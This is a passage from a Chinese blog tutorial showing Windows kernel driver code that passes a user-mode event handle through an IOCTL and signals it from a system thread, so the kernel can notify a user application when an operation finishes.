处理类型32位、64位下类型不匹配的情况 if (4 == ulInputLength) { hUserEvent = (HANDLE)((SIZE_T)hUserEvent & 0x0FFFFFFFF); } // 根据事件句柄获取内核事件对象 status = ObReferenceObjectByHandle(hUserEvent, EVENT_MODIFY_STATE, *ExEventObjectType, KernelMode, (PVOID)(&g_pKernelEvent), NULL); if (!NT_SUCCESS(status)) { DbgPrint("ObReferenceObjectByHandle Error[0x%X]\n", status); g_pKernelEvent = NULL; break; } // 创建多线程, 执行操作, 执行完毕后, 发送事件通知用户层 HANDLE hThread = NULL; PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, ThreadProc, g_pKernelEvent); break; } case IOCTL_MY_OUTPUT: { RtlCopyMemory(pBuffer, g_szOutputBuffer, 50); ulInfo = 50; break; } default: break; } pIrp->IoStatus.Status = status; pIrp->IoStatus.Information = ulInfo; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return status;}
    多线程处理函数// 多线程处理函数VOID ThreadProc(PVOID StartContext){ DbgPrint("Enter ThreadProc\n"); // 获取内核对象 PKEVENT pKernelEvent = (PKEVENT)StartContext; // 设置输出缓冲区 RtlCopyMemory(g_szOutputBuffer, "I am DemonGan From Kernel Event.", (1 + strlen("I am DemonGan From Kernel Event."))); // 发送事件, 将事件对象设置为信号状态 if (NULL != pKernelEvent) { KeSetEvent(pKernelEvent, IO_NO_INCREMENT, FALSE); } // 释放事件对象 ObDereferenceObject(pKernelEvent); pKernelEvent = NULL; DbgPrint("Leave ThreadProc\n");}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个框架理解起来不是很复杂,关键是理解事件 EVENT 的同步处理,实现操作的先后顺序。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-14 13:41:31
显示 0 到 25 ,共 25 条

发送私信

这一切都不是我的,但总有一天,会是我的

73
文章数
67
评论数
eject